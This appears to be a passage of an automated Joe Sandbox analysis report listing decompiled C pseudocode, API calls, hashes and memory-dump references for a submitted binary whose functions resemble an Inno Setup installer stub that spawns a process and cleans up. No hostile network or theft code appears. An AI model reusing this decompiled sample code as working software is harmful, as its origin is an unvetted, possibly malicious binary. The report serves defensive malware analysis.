VirtualProtect.KERNEL32(?,?,00000040,?,00400000,?,0000001C,?), ref: 0040986A
VirtualProtect.KERNEL32(?,?,?,?,?,?,00000040,?,00400000,?,0000001C,?), ref: 0040989C
VirtualQuery.KERNEL32(?,?,0000001C,00400000,?,0000001C,?), ref: 004098AC

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Virtual$ProtectQuery$InfoSystem
String ID:
API String ID: 2441996862-0
Opcode ID: 394947688dee8e93bacf74dedd22c2a8d1d5dd8f735b4c9dfe0a991e12bafe3f
Instruction ID: 94f5da7d78a14a24f83fc3459e547f2b55f5b17be2d71599b00960b009e03402
Opcode Fuzzy Hash: 394947688dee8e93bacf74dedd22c2a8d1d5dd8f735b4c9dfe0a991e12bafe3f
Instruction Fuzzy Hash: 2C2181B2210304ABD630AE6A8C85E57B7D89F46350F04883AFA85E63C3D679ED44C669

Uniqueness

Uniqueness Score: -1.00%

Function 0040515C Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040515C(int __eax, void* __ecx, int __edx, intOrPtr _a4) {
				char _v260;
				int _t5;
				intOrPtr _t10;
				void* _t18;

				_t18 = __ecx;
				_t10 = _a4;
				_t5 = GetLocaleInfoA(__eax, __edx,  &_v260, 0x100); // executed
				_t19 = _t5;
				if(_t5 <= 0) {
					return E0040322C(_t10, _t18);
				}
				return E00403278(_t10, _t5 - 1,  &_v260, _t19);
			}

0x00405167
0x00405169
0x0040517a
0x0040517f
0x00405181
0x00000000
0x00405199
0x00000000

APIs

GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,00405227,?,00000000,00405306), ref: 0040517A

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 8ef9b48ed96d6a8df8db933101511442404bdd0abec70889978d036278c5d13e
Instruction ID: b78bf48cff894a3999656c5243e329942f020ab22272e2e872fdbeeaebf0035e
Opcode Fuzzy Hash: 8ef9b48ed96d6a8df8db933101511442404bdd0abec70889978d036278c5d13e
Instruction Fuzzy Hash: EDE09271B0021426D711A9699C86AEB735DDB58310F0006BFB904EB3C6EDB49E8046ED

Uniqueness

Uniqueness Score: -1.00%

Function 00409664 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 90
windowprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E00409664(void* __eax, void* __ebx, DWORD* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				DWORD* _v8;
				char _v12;
				struct _STARTUPINFOA _v80;
				void* _v92;
				void* _v96;
				char _v124;
				int _t25;
				MSG* _t46;
				intOrPtr _t54;
				void* _t61;

				_v12 = 0;
				_v8 = __ecx;
				_t56 = __edx;
				_t58 = __eax;
				_t46 =  &_v124;
				_push(_t61);
				_push(0x409754);
				_push( *[fs:eax]);
				 *[fs:eax] = _t61 + 0xffffff88;
				_push(0x40976c);
				_push(__eax);
				_push(0x409778);
				_push(__edx);
				E004033B4();
				E0040277C( &_v80, 0x44);
				_v80.cb = 0x44;
				_t25 = CreateProcessA(0, E00403414(_v12), 0, 0, 0, 0, 0, 0,  &_v80,  &_v96); // executed
				_t64 = _t25;
				if(_t25 == 0) {
					E0040927C(0x62, _t46, 0, _t56, _t58, _t64);
				}
				CloseHandle(_v92);
				L4:
				while(PeekMessageA(_t46, 0, 0, 0, 1) != 0) {
					TranslateMessage(_t46);
					DispatchMessageA(_t46);
				}
				if(MsgWaitForMultipleObjects(1,  &_v96, 0, 0xffffffff, 0xff) == 1) {
					goto L4;
				}
				GetExitCodeProcess(_v96, _v8); // executed
				CloseHandle(_v96);
				_pop(_t54);
				 *[fs:eax] = _t54;
				_push(E0040975B);
				return E00403198( &_v12);
			}

0x0040966f
0x00409672
0x00409675
0x00409677
0x00409679
0x0040967e
0x0040967f
0x00409684
0x00409687
0x0040968a
0x0040968f
0x00409690
0x00409695
0x0040969e
0x004096ad
0x004096b2
0x004096d8
0x004096dd
0x004096df
0x004096e3
0x004096e3
0x004096ec
0x00000000
0x004096ff
0x004096f4
0x004096fa
0x004096fa
0x00409726
0x00000000
0x00000000
0x00409730
0x00409739
0x00409740
0x00409743
0x00409746
0x00409753

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409778,021B2F88,0040976C,00000000,00409754), ref: 004096D8
CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409778,021B2F88,0040976C,00000000), ref: 004096EC
TranslateMessage.USER32(?), ref: 004096F4
DispatchMessageA.USER32 ref: 004096FA
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00409708
MsgWaitForMultipleObjects.USER32 ref: 00409720
GetExitCodeProcess.KERNEL32 ref: 00409730
CloseHandle.KERNEL32(?,?,?,00000001,?,00000000,000000FF,000000FF,?,00000000,00000000,00000000,00000001,?,?,00000000), ref: 00409739

Part of subcall function 0040927C: GetLastError.KERNEL32(00000000,0040931F,?,?,021B2F88,?), ref: 004092A0

Strings

D, xrefs: 004096B2

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Message$CloseHandleProcess$CodeCreateDispatchErrorExitLastMultipleObjectsPeekTranslateWait
String ID: D
API String ID: 884379925-2746444292
Opcode ID: 8af437ce9a0ef28a3fd7f9cf6d634f98b766fb828dac67037ac986d7442df17d
Instruction ID: b5afb7c7dcba662fd328991b68db6fda78b5aaf02a74c63f92c37c95fca848c0
Opcode Fuzzy Hash: 8af437ce9a0ef28a3fd7f9cf6d634f98b766fb828dac67037ac986d7442df17d
Instruction Fuzzy Hash: BE2177B1A402047ADB10EFE6CC92F9E77AC9B48714F50053AB714F72C3DA789901862D

Uniqueness

Uniqueness Score: -1.00%

Function 00408DBC Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E00408DBC(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				char _v8;
				char _t8;
				intOrPtr _t22;
				intOrPtr _t27;

				_t16 = __ebx;
				_push(0);
				_push(__ebx);
				_push(_t27);
				_push(0x408e55);
				_push( *[fs:eax]);
				 *[fs:eax] = _t27;
				 *0x40cc98 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "Wow64DisableWow64FsRedirection");
				 *0x40cc9c = GetProcAddress(GetModuleHandleA("kernel32.dll"), "Wow64RevertWow64FsRedirection");
				if( *0x40cc98 == 0 ||  *0x40cc9c == 0) {
					_t8 = 0;
				} else {
					_t8 = 1;
				}
				 *0x40cca0 = _t8;
				E00406DBC("shell32.dll", _t16, 0x8000); // executed
				E004070A0(0x4c783afb,  &_v8);
				_pop(_t22);
				 *[fs:eax] = _t22;
				_push(E00408E5C);
				return E00403198( &_v8);
			}

0x00408dbc
0x00408dbf
0x00408dc1
0x00408dc6
0x00408dc7
0x00408dcc
0x00408dcf
0x00408de7
0x00408e01
0x00408e0d
0x00408e18
0x00408e1c
0x00408e1c
0x00408e1c
0x00408e1e
0x00408e2d
0x00408e3a
0x00408e41
0x00408e44
0x00408e47
0x00408e54

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00408E55,?,?,?,?,00000000,?,0040994B), ref: 00408DDC
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00408DE2
GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00408E55,?,?,?,?,00000000,?,0040994B), ref: 00408DF6
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00408DFC

Strings

Wow64RevertWow64FsRedirection, xrefs: 00408DEC
Wow64DisableWow64FsRedirection, xrefs: 00408DD2
shell32.dll, xrefs: 00408E28
kernel32.dll, xrefs: 00408DD7, 00408DF1

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
API String ID: 1646373207-2130885113
Opcode ID: 0f9d61604bc9d9982718e3017efe5b9e7ff015158a0c1e52cc2775fa4df73348
Instruction ID: 8ab6fbbcb4b7f08204b51e865fdbc175ac4c782ddcdde418887d2bb644b97990
Opcode Fuzzy Hash: 0f9d61604bc9d9982718e3017efe5b9e7ff015158a0c1e52cc2775fa4df73348
Instruction Fuzzy Hash: 68017C70208304EEEB50ABA2DE57B563A68E785B18F61443FF544F61C2DEBD4800CAAD

Uniqueness

Uniqueness Score: -1.00%

Function 004019DC Relevance: 9.1, APIs: 6, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E004019DC() {
				void* _t2;
				void* _t3;
				void* _t14;
				intOrPtr* _t18;
				intOrPtr _t22;
				intOrPtr _t24;

				_t22 = _t24;
				if( *0x40c415 == 0) {
					return _t2;
				} else {
					_push(_t22);
					_push(E00401AB4);
					_push( *[fs:edx]);
					 *[fs:edx] = _t24;
					if( *0x40c032 != 0) {
						_push(0x40c41c);
						L00401274();
					}
					 *0x40c415 = 0;
					_t3 =  *0x40c474; // 0x0
					LocalFree(_t3);
					 *0x40c474 = 0;
					_t18 =  *0x40c43c; // 0x40c43c
					while(_t18 != 0x40c43c) {
						_t1 = _t18 + 8; // 0x0
						VirtualFree( *_t1, 0, 0x8000); // executed
						_t18 =  *_t18;
					}
					E004012DC(0x40c43c);
					E004012DC(0x40c44c);
					E004012DC(0x40c478);
					_t14 =  *0x40c434; // 0x0
					while(_t14 != 0) {
						 *0x40c434 =  *_t14;
						LocalFree(_t14);
						_t14 =  *0x40c434; // 0x0
					}
					_pop( *[fs:0x0]);
					_push(0x401abb);
					if( *0x40c032 != 0) {
						_push(0x40c41c);
						L0040127C();
					}
					_push(0x40c41c);
					L00401284();
					return _t14;
				}
			}

0x004019dd
0x004019e7
0x00401abd
0x004019ed
0x004019ef
0x004019f0
0x004019f5
0x004019f8
0x00401a02
0x00401a04
0x00401a09
0x00401a09
0x00401a0e
0x00401a15
0x00401a1b
0x00401a22
0x00401a27
0x00401a41
0x00401a36
0x00401a3a
0x00401a3f
0x00401a3f
0x00401a4e
0x00401a58
0x00401a62
0x00401a67
0x00401a6e
0x00401a72
0x00401a79
0x00401a7e
0x00401a83
0x00401a87
0x00401a91
0x00401a9d
0x00401a9f
0x00401aa4
0x00401aa4
0x00401aa9
0x00401aae
0x00401ab3
0x00401ab3

APIs

RtlEnterCriticalSection.KERNEL32(0040C41C,00000000,00401AB4), ref: 00401A09
LocalFree.KERNEL32(00000000,00000000,00401AB4), ref: 00401A1B
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,00000000,00401AB4), ref: 00401A3A
LocalFree.KERNEL32(00000000,00000000,00000000,00008000,00000000,00000000,00401AB4), ref: 00401A79
RtlLeaveCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AA4
RtlDeleteCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AAE

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: 2760f6fc436d2282df077fa3fe2c561b0ff429e9c23b98cc44d100e589fe962f
Instruction ID: 5447b05044442752c1d56c7733342563ab4b4f61826a3093f511f794066d9233
Opcode Fuzzy Hash: 2760f6fc436d2282df077fa3fe2c561b0ff429e9c23b98cc44d100e589fe962f
Instruction Fuzzy Hash: 91116330341280DAD711ABA59EE2F623668B785748F44437EF444B62F2C67C9840CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 00409DB2 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 39%

			E00409DB2(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t23;
				struct HWND__* _t24;
				struct HWND__* _t25;
				struct HWND__* _t28;
				intOrPtr _t35;
				intOrPtr _t37;
				void* _t41;
				void* _t46;
				intOrPtr _t48;
				intOrPtr _t51;
				int _t52;
				intOrPtr _t53;
				intOrPtr _t55;
				intOrPtr _t58;
				intOrPtr _t69;
				intOrPtr _t71;
				intOrPtr _t73;
				intOrPtr _t78;
				intOrPtr _t80;
				void* _t83;
				void* _t84;

				_t84 = __eflags;
				_t82 = __esi;
				_t81 = __edi;
				_t61 = __ebx;
				_pop(_t71);
				 *[fs:eax] = _t71;
				E00406DAC(0x40cdd8);
				_push(0);
				_t23 =  *0x40c014; // 0x400000
				_push(_t23);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push("Inno");
				asm("adc [eax+0x6a0040], ah"); // executed
				_t24 = CreateWindowExA(??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??); // executed
				 *0x40b240 = _t24;
				_t25 =  *0x40b240; // 0x2042c
				 *0x40cdd0 = SetWindowLongA(_t25, 0xfffffffc, E004095D0);
				_t28 =  *0x40b240; // 0x2042c
				 *(_t83 - 0x18) = _t28;
				 *((char*)(_t83 - 0x14)) = 0;
				E004050E4(0x40a020, 0, _t83 - 0x18, _t83 - 0x10);
				_t73 =  *0x40cdd4; // 0x21b03cc
				E004032FC(_t83 - 0x10, _t73);
				_push(_t83 - 0x10);
				_t35 =  *0x40cde0; // 0x413010
				_t8 = _t35 + 0x20; // 0x237db8
				 *((intOrPtr*)(_t83 - 0x34)) =  *_t8;
				 *((char*)(_t83 - 0x30)) = 0;
				_t37 =  *0x40cde0; // 0x413010
				_t11 = _t37 + 0x24; // 0xce00
				 *((intOrPtr*)(_t83 - 0x2c)) =  *_t11;
				 *((char*)(_t83 - 0x28)) = 0;
				E004050E4(0x40a034, 1, _t83 - 0x34, _t83 - 0x24);
				_pop(_t41);
				E004032FC(_t41,  *((intOrPtr*)(_t83 - 0x24)));
				_push(_t83 - 0x10);
				E004068D0(_t83 - 0x24);
				_pop(_t46);
				E004032FC(_t46,  *((intOrPtr*)(_t83 - 0x24)));
				_t48 =  *0x40cde8; // 0x21b2f88, executed
				E00409664(_t48, __ebx, 0x40b23c,  *((intOrPtr*)(_t83 - 0x10)), __edi, __esi, _t84); // executed
				_t78 = 0x40a010;
				 *[fs:eax] = _t78;
				_push(0x409f64);
				_t51 =  *0x40cdd8; // 0x0
				_t52 = E00402924(_t51);
				if( *0x40cde8 != 0) {
					_t80 =  *0x40cde8; // 0x21b2f88
					_t52 = E00409218(0, _t80, 0xfa, 0x32); // executed
				}
				if( *0x40cde4 != 0) {
					_t58 =  *0x40cde4; // 0x21b2ec4
					_t52 = RemoveDirectoryA(E00403414(_t58)); // executed
				}
				if( *0x40b240 != 0) {
					_t52 =  *0x40b240; // 0x2042c
					_push(_t52); // executed
					L00404534(); // executed
				}
				if( *0x40cdc8 != 0) {
					_t53 =  *0x40cdc8; // 0x0
					_t69 =  *0x40cdcc; // 0x1
					E0040357C(_t53, _t61, _t69, 0x408954, _t81, _t82);
					_t55 =  *0x40cdc8; // 0x0
					E004025AC(_t55);
					 *0x40cdc8 = 0;
					return 0;
				}
				return _t52;
			}

0x00409db2
0x00409db2
0x00409db2
0x00409db2
0x00409db4
0x00409db7
0x00409de7
0x00409dec
0x00409dee
0x00409df3
0x00409df4
0x00409df6
0x00409df8
0x00409dfa
0x00409dfc
0x00409dfe
0x00409e00
0x00409e02
0x00409e08
0x00409e0e
0x00409e13
0x00409e1f
0x00409e2a
0x00409e33
0x00409e38
0x00409e3b
0x00409e49
0x00409e51
0x00409e57
0x00409e5f
0x00409e64
0x00409e69
0x00409e6c
0x00409e6f
0x00409e73
0x00409e78
0x00409e7b
0x00409e7e
0x00409e8f
0x00409e97
0x00409e98
0x00409ea0
0x00409ea4
0x00409eac
0x00409ead
0x00409eba
0x00409ebf
0x00409ec6
0x00409ec9
0x00409ecc
0x00409ed1
0x00409ed6
0x00409ee2
0x00409ef0
0x00409ef8
0x00409ef8
0x00409f04
0x00409f06
0x00409f11
0x00409f11
0x00409f1d
0x00409f1f
0x00409f24
0x00409f25
0x00409f25
0x00409f31
0x00409f33
0x00409f38
0x00409f43
0x00409f48
0x00409f4d
0x00409f54
0x00000000
0x00409f54
0x00409f59

APIs

CreateWindowExA.USER32 ref: 00409E0E
SetWindowLongA.USER32(0002042C,000000FC,004095D0), ref: 00409E25

Part of subcall function 004068D0: GetCommandLineA.KERNEL32(?,?,00406A14,00000000,00406A50,?,?,?,?,00000000,00000000,?,004093B9,00000000,00409445), ref: 004068D4

Part of subcall function 00409664: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409778,021B2F88,0040976C,00000000,00409754), ref: 004096D8
Part of subcall function 00409664: CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409778,021B2F88,0040976C,00000000), ref: 004096EC
Part of subcall function 00409664: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00409708
Part of subcall function 00409664: MsgWaitForMultipleObjects.USER32 ref: 00409720
Part of subcall function 00409664: GetExitCodeProcess.KERNEL32 ref: 00409730
Part of subcall function 00409664: CloseHandle.KERNEL32(?,?,?,00000001,?,00000000,000000FF,000000FF,?,00000000,00000000,00000000,00000001,?,?,00000000), ref: 00409739

RemoveDirectoryA.KERNEL32(00000000,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409F11
73B09840.USER32(0002042C,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409F25

Part of subcall function 00409218: Sleep.KERNEL32(?,?,?,?,0000000D,?,00409EFD,000000FA,00000032,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000), ref: 00409237
Part of subcall function 00409218: GetLastError.KERNEL32(?,?,?,0000000D,?,00409EFD,000000FA,00000032,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000,00000000), ref: 0040925A
Part of subcall function 00409218: GetLastError.KERNEL32(?,?,?,0000000D,?,00409EFD,000000FA,00000032,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000,00000000), ref: 00409264

Strings

Inno, xrefs: 00409E02

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseCreateErrorHandleLastProcessWindow$B09840CodeCommandDirectoryExitLineLongMessageMultipleObjectsPeekRemoveSleepWait
String ID: Inno
API String ID: 295397285-2741113953
Opcode ID: 0c628eccdb5d68a9a545aaf1db1e3e5f60eee6e16505dab8839527403e1d1cdf
Instruction ID: 2adf325163ae9d4eab7e2e19cbcb2e7beeeb4b30098e95a307ad94bcbced26f9
Opcode Fuzzy Hash: 0c628eccdb5d68a9a545aaf1db1e3e5f60eee6e16505dab8839527403e1d1cdf
Instruction Fuzzy Hash: 3541D871A00205DBD701EBA9EE85B9A7BA4EB88304F10467BE100F72E2D778A944DB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00409DD6 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E00409DD6(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t24;
				struct HWND__* _t25;
				struct HWND__* _t26;
				struct HWND__* _t29;
				intOrPtr _t36;
				intOrPtr _t38;
				void* _t42;
				void* _t47;
				intOrPtr _t49;
				intOrPtr _t52;
				int _t53;
				intOrPtr _t54;
				intOrPtr _t56;
				intOrPtr _t59;
				intOrPtr _t69;
				intOrPtr _t73;
				intOrPtr _t78;
				intOrPtr _t80;
				void* _t83;

				_t84 = __eflags;
				_t82 = __esi;
				_t81 = __edi;
				_t62 = __ebx;
				E0040927C(0x61, __ebx, __ecx, __edi, __esi, __eflags);
				E00402F24();
				E00406DAC(0x40cdd8);
				_push(0);
				_t24 =  *0x40c014; // 0x400000
				_push(_t24);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push("Inno");
				asm("adc [eax+0x6a0040], ah"); // executed
				_t25 = CreateWindowExA(??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??, ??); // executed
				 *0x40b240 = _t25;
				_t26 =  *0x40b240; // 0x2042c
				 *0x40cdd0 = SetWindowLongA(_t26, 0xfffffffc, E004095D0);
				_t29 =  *0x40b240; // 0x2042c
				 *(_t83 - 0x18) = _t29;
				 *((char*)(_t83 - 0x14)) = 0;
				E004050E4(0x40a020, 0, _t83 - 0x18, _t83 - 0x10);
				_t73 =  *0x40cdd4; // 0x21b03cc
				E004032FC(_t83 - 0x10, _t73);
				_push(_t83 - 0x10);
				_t36 =  *0x40cde0; // 0x413010
				_t8 = _t36 + 0x20; // 0x237db8
				 *((intOrPtr*)(_t83 - 0x34)) =  *_t8;
				 *((char*)(_t83 - 0x30)) = 0;
				_t38 =  *0x40cde0; // 0x413010
				_t11 = _t38 + 0x24; // 0xce00
				 *((intOrPtr*)(_t83 - 0x2c)) =  *_t11;
				 *((char*)(_t83 - 0x28)) = 0;
				E004050E4(0x40a034, 1, _t83 - 0x34, _t83 - 0x24);
				_pop(_t42);
				E004032FC(_t42,  *((intOrPtr*)(_t83 - 0x24)));
				_push(_t83 - 0x10);
				E004068D0(_t83 - 0x24);
				_pop(_t47);
				E004032FC(_t47,  *((intOrPtr*)(_t83 - 0x24)));
				_t49 =  *0x40cde8; // 0x21b2f88, executed
				E00409664(_t49, __ebx, 0x40b23c,  *((intOrPtr*)(_t83 - 0x10)), __edi, __esi, _t84); // executed
				_t78 = 0x40a010;
				 *[fs:eax] = _t78;
				_push(0x409f64);
				_t52 =  *0x40cdd8; // 0x0
				_t53 = E00402924(_t52);
				if( *0x40cde8 != 0) {
					_t80 =  *0x40cde8; // 0x21b2f88
					_t53 = E00409218(0, _t80, 0xfa, 0x32); // executed
				}
				if( *0x40cde4 != 0) {
					_t59 =  *0x40cde4; // 0x21b2ec4
					_t53 = RemoveDirectoryA(E00403414(_t59)); // executed
				}
				if( *0x40b240 != 0) {
					_t53 =  *0x40b240; // 0x2042c
					_push(_t53); // executed
					L00404534(); // executed
				}
				if( *0x40cdc8 != 0) {
					_t54 =  *0x40cdc8; // 0x0
					_t69 =  *0x40cdcc; // 0x1
					E0040357C(_t54, _t62, _t69, 0x408954, _t81, _t82);
					_t56 =  *0x40cdc8; // 0x0
					E004025AC(_t56);
					 *0x40cdc8 = 0;
					return 0;
				}
				return _t53;
			}

0x00409dd6
0x00409dd6
0x00409dd6
0x00409dd6
0x00409dd8
0x00409ddd
0x00409de7
0x00409dec
0x00409dee
0x00409df3
0x00409df4
0x00409df6
0x00409df8
0x00409dfa
0x00409dfc
0x00409dfe
0x00409e00
0x00409e02
0x00409e08
0x00409e0e
0x00409e13
0x00409e1f
0x00409e2a
0x00409e33
0x00409e38
0x00409e3b
0x00409e49
0x00409e51
0x00409e57
0x00409e5f
0x00409e64
0x00409e69
0x00409e6c
0x00409e6f
0x00409e73
0x00409e78
0x00409e7b
0x00409e7e
0x00409e8f
0x00409e97
0x00409e98
0x00409ea0
0x00409ea4
0x00409eac
0x00409ead
0x00409eba
0x00409ebf
0x00409ec6
0x00409ec9
0x00409ecc
0x00409ed1
0x00409ed6
0x00409ee2
0x00409ef0
0x00409ef8
0x00409ef8
0x00409f04
0x00409f06
0x00409f11
0x00409f11
0x00409f1d
0x00409f1f
0x00409f24
0x00409f25
0x00409f25
0x00409f31
0x00409f33
0x00409f38
0x00409f43
0x00409f48
0x00409f4d
0x00409f54
0x00000000
0x00409f54
0x00409f59

APIs

Part of subcall function 0040927C: GetLastError.KERNEL32(00000000,0040931F,?,?,021B2F88,?), ref: 004092A0

CreateWindowExA.USER32 ref: 00409E0E
SetWindowLongA.USER32(0002042C,000000FC,004095D0), ref: 00409E25

Part of subcall function 004068D0: GetCommandLineA.KERNEL32(?,?,00406A14,00000000,00406A50,?,?,?,?,00000000,00000000,?,004093B9,00000000,00409445), ref: 004068D4

Part of subcall function 00409664: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409778,021B2F88,0040976C,00000000,00409754), ref: 004096D8
Part of subcall function 00409664: CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409778,021B2F88,0040976C,00000000), ref: 004096EC
Part of subcall function 00409664: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00409708
Part of subcall function 00409664: MsgWaitForMultipleObjects.USER32 ref: 00409720
Part of subcall function 00409664: GetExitCodeProcess.KERNEL32 ref: 00409730
Part of subcall function 00409664: CloseHandle.KERNEL32(?,?,?,00000001,?,00000000,000000FF,000000FF,?,00000000,00000000,00000000,00000001,?,?,00000000), ref: 00409739

RemoveDirectoryA.KERNEL32(00000000,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409F11
73B09840.USER32(0002042C,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409F25

Part of subcall function 00409218: Sleep.KERNEL32(?,?,?,?,0000000D,?,00409EFD,000000FA,00000032,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000), ref: 00409237
Part of subcall function 00409218: GetLastError.KERNEL32(?,?,?,0000000D,?,00409EFD,000000FA,00000032,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000,00000000), ref: 0040925A
Part of subcall function 00409218: GetLastError.KERNEL32(?,?,?,0000000D,?,00409EFD,000000FA,00000032,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000,00000000), ref: 00409264

Strings

Inno, xrefs: 00409E02

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast$CloseCreateHandleProcessWindow$B09840CodeCommandDirectoryExitLineLongMessageMultipleObjectsPeekRemoveSleepWait
String ID: Inno
API String ID: 3945903386-2741113953
Opcode ID: 436805583868c80a46dbf4807e71db515abf5c22c5a642f8ed8b105a496882fe
Instruction ID: e9def7ee7bfb5be58953016ed740f774e342afb576aa229ee19c0ea7cc18460d
